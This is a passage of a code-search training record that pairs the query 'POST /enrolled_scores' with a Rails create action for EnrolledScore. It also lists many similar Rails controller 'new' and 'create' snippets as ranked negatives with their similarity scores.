Scorecard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scorecard }\n end\n end", "def new\n @lesson_learned = LessonLearned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson_learned }\n end\n end", "def create\n @score = Score.new(score_params)\n if @score.save\n render json: @score, status: 201\n else\n render json: { errors: @score.errors.full_message }, status: 422\n end\n end", "def create\n @username_score = UsernameScore.new(params[:username_score])\n\n respond_to do |format|\n if @username_score.save\n format.html { redirect_to @username_score, notice: 'Username score was successfully created.' }\n format.json { render json: @username_score, status: :created, location: @username_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @username_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @winner = Winner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @winner }\n end\n end", "def new\n @box_score_entry = BoxScoreEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @box_score_entry }\n end\n end", "def new\n @possess = Possess.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @possess }\n end\n end", "def create\n @enrolled = Enrolled.new(params[:enrolled])\n \n respond_to do |format|\n if @enrolled.save\n format.html { redirect_to @enrolled, :notice => t('selecao_admin.flash_messages.successfully_created.', :model => @enrolled.class.model_name.human) }\n format.json { render :json => @enrolled, :status => :created, :location => @enrolled }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @enrolled.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @student_cell_leader = StudentCellLeader.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student_cell_leader }\n end\n end", "def new\n @rank = Rank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @rank }\n end\n end", "def new\n @student_scorecard = StudentScorecard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student_scorecard }\n end\n end", "def new\n @grade = Grade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grade }\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to(@score, :notice => 'Score was successfully created.') }\n format.xml { render :xml => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @high_score = HighScore.new(params[:high_score])\n\n respond_to do |format|\n if @high_score.save\n format.html { redirect_to @high_score, notice: 'High score was successfully created.' }\n format.json { render json: @high_score, status: :created, location: @high_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @high_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @evaluable_competency = EvaluableCompetency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluable_competency }\n end\n end", "def create\n @enrolled = Enrolled.new(:student_id => current_student.student_id, :course_id => params[:course_id])\n\n respond_to do |format|\n if @enrolled.save\n format.html { redirect_to @enrolled, notice: 'Enrolled was successfully created.' }\n format.json { render json: @enrolled, status: :created, location: @enrolled }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enrolled.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @request_score = RequestScore.new(request_score_params)\n\n respond_to do |format|\n if @request_score.save\n format.html { redirect_to @request_score, notice: 'Request score was successfully created.' }\n format.json { render :show, status: :created, location: @request_score }\n else\n format.html { render :new }\n format.json { render json: @request_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end", "def new\n @score = Score.new\n end", "def new\n @title = \"Grade a Team Challenge\"\n @challenge_grade = ChallengeGrade.new\n @teams = Team.all\n @challenges = Challenge.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @challenge_grade }\n end\n end", "def new\n @competency_pertenece_evaluation = CompetencyPerteneceEvaluation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competency_pertenece_evaluation }\n end\n end", "def new\n @event = Event.find(params[:event_id])\n @competitor = Competitor.find(params[:competitor_id])\n @judge = Judge.find(params[:judge_id])\n @score_sheet = ScoreSheet.new(event_id: @event.id, \n judge_id: @judge.id, \n competitor_id: @competitor.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score_sheet }\n end\n end", "def new\n @title = t 'view.grades.new_title'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grade }\n end\n end", "def create\n @student_score = StudentScore.new(student_score_params)\n\n respond_to do |format|\n if @student_score.save\n format.html { redirect_to @student_score, notice: 'Student score was successfully created.' }\n format.json { render :show, status: :created, location: @student_score }\n else\n format.html { render :new }\n format.json { render json: @student_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def create\n # ToDo: 名前の変更\n score = params[:score]\n \n\n if @evaluation.update_attributes(score: score)\n render :show, status: :ok, location: @evaluation\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def new\n @preceed = Preceed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preceed }\n end\n end", "def create\n @user_score = UserScore.new(user_score_params)\n\n respond_to do |format|\n if @user_score.save\n format.html { redirect_to @user_score, notice: 'User score was successfully created.' }\n format.json { render :show, status: :created, location: @user_score }\n else\n format.html { render :new }\n format.json { render json: @user_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @training_level = TrainingLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_level }\n end\n end", "def new\n @grade = Grade.new\n\n respond_to do |format|\n format.html { render :layout => false }\n format.json { render json: @grade }\n end\n end", "def new\n @old_game = OldGame.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @old_game }\n end\n end", "def new\n @points_history = PointsHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @points_history }\n end\n end", "def new\n @reward_rule = RewardRule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reward_rule }\n end\n end", "def create_scores\r\n\r\n end", "def create\n @analyst_score = AnalystScore.new(analyst_score_params)\n\n respond_to do |format|\n if @analyst_score.save\n format.html { redirect_to @analyst_score, notice: 'Analyst score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @analyst_score }\n else\n format.html { render action: 'new' }\n format.json { render json: @analyst_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @national_rank = NationalRank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @national_rank }\n end\n end", "def new\n @studentgrade = Studentgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @studentgrade }\n end\n end", "def new\n @winning_number = WinningNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @winning_number }\n end\n end", "def new\n @story_status = StoryStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @story_status }\n end\n end", "def create\n @challenge_grade = ChallengeGrade.new(params[:challenge_grade])\n\n respond_to do |format|\n if @challenge_grade.save\n format.html { redirect_to @challenge_grade, notice: 'Challenge score was successfully created.' }\n format.json { render json: @challenge_grade, status: :created, location: @challenge_grade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @challenge_grade.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end", "def new\n @accuracy = Accuracy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @accuracy }\n end\n end", "def new\n @earned_award = EarnedAward.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @earned_award }\n end\n end", "def new\n @team_rating = TeamRating.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @team_rating }\n end\n end", "def create\n @aja_score = AjaScore.new(params[:aja_score])\n\n respond_to do |format|\n if @aja_score.save\n format.html { redirect_to @aja_score, notice: 'Aja score was successfully created.' }\n format.json { render json: @aja_score, status: :created, location: @aja_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aja_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @competency = Competency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competency }\n end\n end", "def new\n @gl = Gl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gl }\n end\n end", "def new\n @rating = Rating.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rating }\n end\n end", "def new\n @rating = Rating.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rating }\n end\n end", "def new\n @rating = Rating.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rating }\n end\n end", "def create\n @rating_score = RatingScore.new(rating_score_params)\n\n respond_to do |format|\n if @rating_score.save\n format.html { redirect_to @rating_score, notice: 'Rating score was successfully created.' }\n format.json { render :show, status: :created, location: @rating_score }\n else\n format.html { render :new }\n format.json { render json: @rating_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @game = Game.find(params[:game_id])\n @boxscore = @game.boxscores.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @boxscore }\n end\n end", "def new\n @new_review = NewReview.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_review }\n end\n end", "def new\n @online_student = OnlineStudent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @online_student }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rulebook }\n end\n end", "def new\n @championships = Championship.all\n @round = Round.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @round }\n end\n end", "def new\n @skill = Skill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @skill }\n end\n end", "def create\n @games_leaderboard = Games::Leaderboard.new(games_leaderboard_params)\n\n if @games_leaderboard.save\n render json: @games_leaderboard, status: :created, location: @games_leaderboard\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def create\n @box_score = BoxScore.new(params[:box_score])\n\n respond_to do |format|\n if @box_score.save\n format.html { redirect_to @box_score, notice: 'Box score was successfully created.' }\n format.json { render json: @box_score, status: :created, location: @box_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @box_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ability_score = AbilityScore.new(params[:ability_score])\n\n respond_to do |format|\n if @ability_score.save\n format.html { redirect_to(@ability_score, :notice => 'Ability score was successfully created.') }\n format.xml { render :xml => @ability_score, :status => :created, :location => @ability_score }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ability_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lesson }\n end\n end", "def new\n @rating_alt = Rating.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rating_alt }\n end\n end", "def new\n @risk_level = RiskLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @risk_level }\n end\n end", "def create\n @candidate_course_score = @candidate.course_scores.build(candidate_course_score_params)\n\n respond_to do |format|\n if @candidate_course_score.save\n flash[:notice] = 'Course score was successfully created.'\n format.html { redirect_to candidate_course_score_path(course_score_path_params(@candidate_course_score)) }\n format.json { render :show, status: :created, location: @candidate_course_score }\n else\n format.html { render :new }\n format.json { render json: @candidate_course_score.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7724893", "0.7724893", "0.7653757", "0.75568426", "0.75476986", "0.74960244", "0.72854", "0.72817767", "0.7274524", "0.7193825", "0.7137036", "0.71213657", "0.7111504", "0.7076221", "0.7067663", "0.7067663", "0.70469695", "0.70456177", "0.70261896", "0.6998579", "0.6982083", "0.6942722", "0.6942722", "0.6938442", "0.6882112", "0.6842128", "0.6842128", "0.68156534", "0.6811893", "0.6795136", "0.67770183", "0.6756781", "0.6744936", "0.67437404", "0.67016065", "0.67010397", "0.6696178", "0.6688043", "0.6682766", "0.66811496", "0.66632026", "0.6657767", "0.665307", "0.66508603", "0.6636068", "0.66275126", "0.6622", "0.6615675", "0.6610385", "0.6604003", "0.660076", "0.6592587", "0.65861297", "0.6582458", "0.65782803", "0.6573871", "0.65313274", "0.65271825", "0.6526897", "0.649315", "0.64914346", "0.64800054", "0.6450058", "0.64430857", "0.64411587", "0.64402103", "0.6433551", "0.6426694", "0.6414536", "0.6413467", "0.6401963", "0.64017653", "0.63949186", "0.6389557", "0.63818276", "0.63806736", "0.6380523", "0.6378722", "0.6377027", "0.63760835", "0.6360756", "0.63562", "0.6349644", "0.6348215", "0.6348215", "0.6348215", "0.63459337", "0.63329107", "0.6331622", "0.6311123", "0.63101745", "0.6310169", "0.630835", "0.6298024", "0.62945783", "0.62940824", "0.62936693", "0.6293376", "0.62883806", "0.62830275" ]
0.8289539
0
POST /enrolled_scores POST /enrolled_scores.json
def create @enrolled_score = EnrolledScore.new(params[:enrolled_score]) respond_to do |format| if @enrolled_score.save format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @enrolled_score.class.model_name.human) } format.json { render :json => @enrolled_score, :status => :created, :location => @enrolled_score } else format.html { render :action => "new" } format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n score = current_user.scores.new(score_params)\n\n if score.save\n render json: score\n else\n render json: { errors: score.errors.join(',') }, status: 422\n end\n end", "def new\n @enrolled_score = EnrolledScore.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @enrolled_score }\n end\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to next_scores_path, notice: 'Score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @score }\n else\n format.html { render action: 'new' }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # ToDo: 名前の変更\n score = params[:score]\n \n\n if @evaluation.update_attributes(score: score)\n render :show, status: :ok, location: @evaluation\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def create\n @score = Score.new(score_params)\n if @score.save\n render json: @score, status: 201\n else\n render json: { errors: @score.errors.full_message }, status: 422\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render json: @score, status: :created, location: @score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render json: @score, status: :created, location: @score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_scores\r\n\r\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render :show, status: :created, location: @score }\n else\n format.html { render :new }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(score_params)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, notice: 'Score was successfully created.' }\n format.json { render :show, status: :created, location: @score }\n else\n format.html { render :new }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @username_score = UsernameScore.new(params[:username_score])\n\n respond_to do |format|\n if @username_score.save\n format.html { redirect_to @username_score, notice: 'Username score was successfully created.' }\n format.json { render json: @username_score, status: :created, location: @username_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @username_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_score(leaderboard_id, score, player_name)\n path = leaderboard_path(leaderboard_id)\n data = { playerName: player_name, value: score }\n service.post(path, data)\n end", "def create\n @user_score = UserScore.new(user_score_params)\n\n respond_to do |format|\n if @user_score.save\n format.html { redirect_to @user_score, notice: 'User score was successfully created.' }\n format.json { render :show, status: :created, location: @user_score }\n else\n format.html { render :new }\n format.json { render json: @user_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @request_score = RequestScore.new(request_score_params)\n\n respond_to do |format|\n if @request_score.save\n format.html { redirect_to @request_score, notice: 'Request score was successfully created.' }\n format.json { render :show, status: :created, location: @request_score }\n else\n format.html { render :new }\n format.json { render json: @request_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def scores\n @title_page = 'Scores'\n $game.player.score = params['grade'].to_i\n\n @username = $game.player.username\n @score = $game.player.score\n\n response = Request.post_request(URL_SCORES, {\n username: $game.player.username,\n score: $game.player.score\n })\n\n @scores = Request.manage_response(response)\n\n erb :scores, layout: :template\nend", "def create\n course = Course.find(params[:course_id])\n student = Student.find_by(dni: params[:student_id])\n @enroll = Enroll.new( student: student, course: course)\n TestCourse.of(course).each do |tc|\n Score.create( student: student, test_id: tc.test_id, value: -2)\n end\n \n respond_to do |format|\n if @enroll.save\n format.html { redirect_to course_enrolls_path(course), notice: 'Enroll was successfully created.' }\n format.json { render :show, status: :created, location: course_enrolls_path(course) }\n else\n format.html { render :new }\n format.json { render json: @enroll.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @enrolled = Enrolled.new(params[:enrolled])\n \n respond_to do |format|\n if @enrolled.save\n format.html { redirect_to @enrolled, :notice => t('selecao_admin.flash_messages.successfully_created.', :model => @enrolled.class.model_name.human) }\n format.json { render :json => @enrolled, :status => :created, :location => @enrolled }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @enrolled.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @student_score = StudentScore.new(student_score_params)\n\n respond_to do |format|\n if @student_score.save\n format.html { redirect_to @student_score, notice: 'Student score was successfully created.' }\n format.json { render :show, status: :created, location: @student_score }\n else\n format.html { render :new }\n format.json { render json: @student_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game_score = GameScore.new(params[:game_score])\n\n respond_to do |format|\n if @game_score.save\n format.html { redirect_to @game_score, notice: 'Game score was successfully created.' }\n format.json { render json: @game_score, status: :created, location: @game_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @enrolled_score = EnrolledScore.find(params[:id])\n \n respond_to do |format|\n if @enrolled_score.update_attributes(params[:enrolled_score])\n format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @enrolled_score.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @aja_score = AjaScore.new(params[:aja_score])\n\n respond_to do |format|\n if @aja_score.save\n format.html { redirect_to @aja_score, notice: 'Aja score was successfully created.' }\n format.json { render json: @aja_score, status: :created, location: @aja_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aja_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(params[:score])\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to(@score, :notice => 'Score was successfully created.') }\n format.xml { render :xml => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\n reviews = []\n params[:scores].keys.each{ |name|\n score = params[:scores][name]\n peer_review = PeerReview.new(name:name, score:score, miniproject_id:params[:project][:id])\n peer_review.save\n reviews << peer_review\n }\n\n render json: reviews\n\n end", "def create\n @enrolled = Enrolled.new(:student_id => current_student.student_id, :course_id => params[:course_id])\n\n respond_to do |format|\n if @enrolled.save\n format.html { redirect_to @enrolled, notice: 'Enrolled was successfully created.' }\n format.json { render json: @enrolled, status: :created, location: @enrolled }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enrolled.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @enrolled_score = EnrolledScore.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @enrolled_score }\n end\n end", "def create\n @rating_score = RatingScore.new(rating_score_params)\n\n respond_to do |format|\n if @rating_score.save\n format.html { redirect_to @rating_score, notice: 'Rating score was successfully created.' }\n format.json { render :show, status: :created, location: @rating_score }\n else\n format.html { render :new }\n format.json { render json: @rating_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def score_params\n params.require(:regularscorer).permit(:homescore, :awayscore)\n end", "def create\n @analyst_score = AnalystScore.new(analyst_score_params)\n\n respond_to do |format|\n if @analyst_score.save\n format.html { redirect_to @analyst_score, notice: 'Analyst score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @analyst_score }\n else\n format.html { render action: 'new' }\n format.json { render json: @analyst_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @high_score = HighScore.new(params[:high_score])\n\n respond_to do |format|\n if @high_score.save\n format.html { redirect_to @high_score, notice: 'High score was successfully created.' }\n format.json { render json: @high_score, status: :created, location: @high_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @high_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def score_params\n params.require(:score).permit!\n end", "def score_params\n params.require(:score).permit(:name, :test_type, :month, :year, :math, :reading, :writing, :essay, :science, :english, :comment, :day, :taken_date, :user_id)\n end", "def score_params\n params.require(:score).permit(:username, :quiz_id, :points)\n end", "def create\n @candidate_course_score = @candidate.course_scores.build(candidate_course_score_params)\n\n respond_to do |format|\n if @candidate_course_score.save\n flash[:notice] = 'Course score was successfully created.'\n format.html { redirect_to candidate_course_score_path(course_score_path_params(@candidate_course_score)) }\n format.json { render :show, status: :created, location: @candidate_course_score }\n else\n format.html { render :new }\n format.json { render json: @candidate_course_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n p = score_params\n season = @current_season\n music = Music.find(p[:music_id])\n difficulty = p[:difficulty]\n score = p[:score].to_i\n playstyle = p[:playstyle].presence\n\n @score = current_player.register_score(\n season: season, music: music,\n difficulty: difficulty, playstyle: playstyle,\n score: score)\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to machine_path(@score.music.machine), success: 'Score was successfully created.' }\n format.json { render action: 'index', status: :created, location: @score }\n else\n @page_id = 'score_new'\n format.html { render action: 'new' }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_score(user_name)\n user_info = {user_name: user_name, score: @user_score}\n @user_score = 0\n post_to_url(@scores_conn, SCORES_KEY, user_info)\n end", "def create\n @home_score = HomeScore.new(home_score_params)\n\n respond_to do |format|\n if @home_score.save\n format.html { redirect_to @home_score, notice: 'Home score was successfully created.' }\n format.json { render action: 'show', status: :created, location: @home_score }\n else\n format.html { render action: 'new' }\n format.json { render json: @home_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @challenge_grade = ChallengeGrade.new(params[:challenge_grade])\n\n respond_to do |format|\n if @challenge_grade.save\n format.html { redirect_to @challenge_grade, notice: 'Challenge score was successfully created.' }\n format.json { render json: @challenge_grade, status: :created, location: @challenge_grade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @challenge_grade.errors, status: :unprocessable_entity }\n end\n end\n end", "def score_params\n params.require(:score).permit(:value, :game_id, :user_id, :date, :detail, :streak)\n end", "def create\n @record_score = RecordScore.new(record_score_params)\n\n respond_to do |format|\n if @record_score.save\n format.html { redirect_to @record_score, notice: 'Record score was successfully created.' }\n format.json { render :show, status: :created, location: @record_score }\n else\n format.html { render :new }\n format.json { render json: @record_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score_evaluation = ScoreEvaluation.new(params[:score_evaluation])\n \n respond_to do |format|\n if @score_evaluation.save\n format.html { redirect_to @score_evaluation, :notice => t('selecao_admin.flash_messages.successfully_created.', :model => @score_evaluation.class.model_name.human) }\n format.json { render :json => @score_evaluation, :status => :created, :location => @score_evaluation }\n format.js\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @score_evaluation.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end", "def update_score\n question_params = params.require(:question).permit(:id, :score)\n\n render json: Question.update_score(question_params)\n end", "def create\n @games_leaderboard = Games::Leaderboard.new(games_leaderboard_params)\n\n if @games_leaderboard.save\n render json: @games_leaderboard, status: :created, location: @games_leaderboard\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def create\n @question_score = QuestionScore.new(question_score_params)\n\n respond_to do |format|\n if @question_score.save\n format.html { redirect_to @question_score, notice: 'Question score was successfully created.' }\n format.js { }\n format.json { render :show, status: :created, location: @question_score }\n else\n format.html { render :new }\n format.json { render json: @question_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def score_params\n params.require(:score).permit(:score, :user_id)\n end", "def create\n\n\n @score = Score.new(simulate_test_score_params)\n\n if @score.save\n\n redirect_to examination_scores_path(@examination),\n notice: '模考成绩已保存'\n\n end\n\n end", "def new\n @enrolled = Enrolled.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @enrolled }\n end\n end", "def update_scoreboard(scores = {})\n end", "def create\n @score_board = ScoreBoard.new(score_board_params)\n\n respond_to do |format|\n if @score_board.save\n format.html { redirect_to @score_board, notice: 'Score board was successfully created.' }\n format.json { render :show, status: :created, location: @score_board }\n else\n format.html { render :new }\n format.json { render json: @score_board.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score = Score.new(score_params)\n authorize @score\n # expire_fragment @score.user.cache_key\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to :back, notice: 'Score was successfully created.' }\n format.json { render :show, status: :created, location: @score }\n format.js { render :update_rubric }\n else\n format.html { render :new }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def leaderboard\n result = service.save(params.permit!.to_h[:leaderboard])\n render json: {success: true}\n end", "def manage_score(body)\r\n begin\r\n data = JSON.parse(body)\r\n upload_score(data)\r\n rescue JSON::ParserError\r\n nil\r\n end\r\n get_scores\r\nend", "def index\n @scores = Score.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scores }\n end\n end", "def create\n @score = Score.new(score_params)\n \n if !current_user.admin then\n @score.player1_id = current_user.id # Ensure player entering the score is recorded as home player\n end\n \n\t\tif @score.player2_id? then\n\t \t# Get current point total for each player\n\t\t\t_u1 = User.find(@score.player1_id)\n\t\t\t_u2 = User.find(@score.player2_id)\n\t\t\t\n\t\t\t# Calculate the impact of this match on each players point total\n\t \t@score.player1_change, @score.player2_change = Score.calculate_elo(_u1.points, _u2.points, @score.matchscore)\n\t \n\t \t# Update each players point total\n\t \t_u1.points += @score.player1_change\n\t \t_u2.points += @score.player2_change\n\t \t\n\t \t# Update each players last point change\n\t \t_u1.lastchange = @score.player1_change\n\t \t_u2.lastchange = @score.player2_change\n\t \t\n\t respond_to do |format|\n\t if @score.save\n \t \t# Save changes to each player only if the score is successfully saved\n\t\t\t \t_u1.save\n\t \t\t\t_u2.save\n\t \t\t\t\n\t \t\t\t\n\t\t\t \t# Tweet result\n\t\t\t \t# if @score.matchscore < 3\n\t\t\t \t# \t_tweet = @score.homeplayer.name+\" bt \"+@score.visitingplayer.name+\", \"+view_context.homescore(@score.matchscore)\n\t\t\t \t# else\n\t\t\t \t# \t_tweet = @score.visitingplayer.name+\" bt \"+@score.homeplayer.name+\", \"+view_context.visitorscore(@score.matchscore)\n\t\t\t \t# end\n\t\t\t \t# Twitter.update(_tweet)\n\n if !current_user.admin\n format.html { redirect_to user_path(current_user), notice: 'Score was successfully recorded.'}\n\t \n else\n format.html { redirect_to root_path, notice: 'Score was successfully recorded.'}\n end\n format.json { render json: @score, status: :created, location: @score }\n \n\t else\n\t format.html { render action: \"new\" }\n\t format.json { render json: @score.errors, status: :unprocessable_entity }\n\t end\n\t end\n\t \n\t else\n\t \t\n\t \trender action: \"new\"\n\t \t\n\t end\n end", "def create\n @ability_score = AbilityScore.new(params[:ability_score])\n\n respond_to do |format|\n if @ability_score.save\n format.html { redirect_to(@ability_score, :notice => 'Ability score was successfully created.') }\n format.xml { render :xml => @ability_score, :status => :created, :location => @ability_score }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ability_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@product.latest_score.archieve unless !@product.is_assessed\n\t\t@product.assess unless @product.is_assessed\n\t\t@score = score_params.nil? ? @product.scores.new : @product.scores.new(score_params)\n\t\trespond_to do |format|\n\t\t\tif @score.save\n\t\t\t\tformat.html { redirect_to products_path, notice: {:type =>'success' ,:message => 'Score was successfully created.'}}\n\t\t\t\tformat.json { render :show, status: :created, location: @score }\n\t\t\telse\n\t\t\t\tformat.html { render :new, notice: {:type =>'danger', :message => 'Score failed to create.'} }\n\t\t\t\tformat.json { render json: @score.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @enrolled_student = EnrolledStudent.new(params[:enrolled_student])\n\n respond_to do |format|\n if @enrolled_student.save\n format.html { redirect_to @enrolled_student, notice: 'Enrolled student was successfully created.' }\n format.json { render json: @enrolled_student, status: :created, location: @enrolled_student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enrolled_student.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @user = current_user\n @score = @user.scores.new(score_params)\n @games = Game.all\n score_string = score_params[:value]\n @score.detail = score_string\n\n score_float = 0.0\n\n if @score.game.id == 1 or @score.game.id == 3\n if @score.game.id == 1\n score_array = score_string.split(/[\\s,:]/)\n else\n score_array = score_string.split(/[\\s,:,.]/)\n end\n #take everything that maps to a float\n #reverse the score array so the lowest score, i.e. seconds, is first\n score_array = score_array.map {|x| Float(x) rescue nil 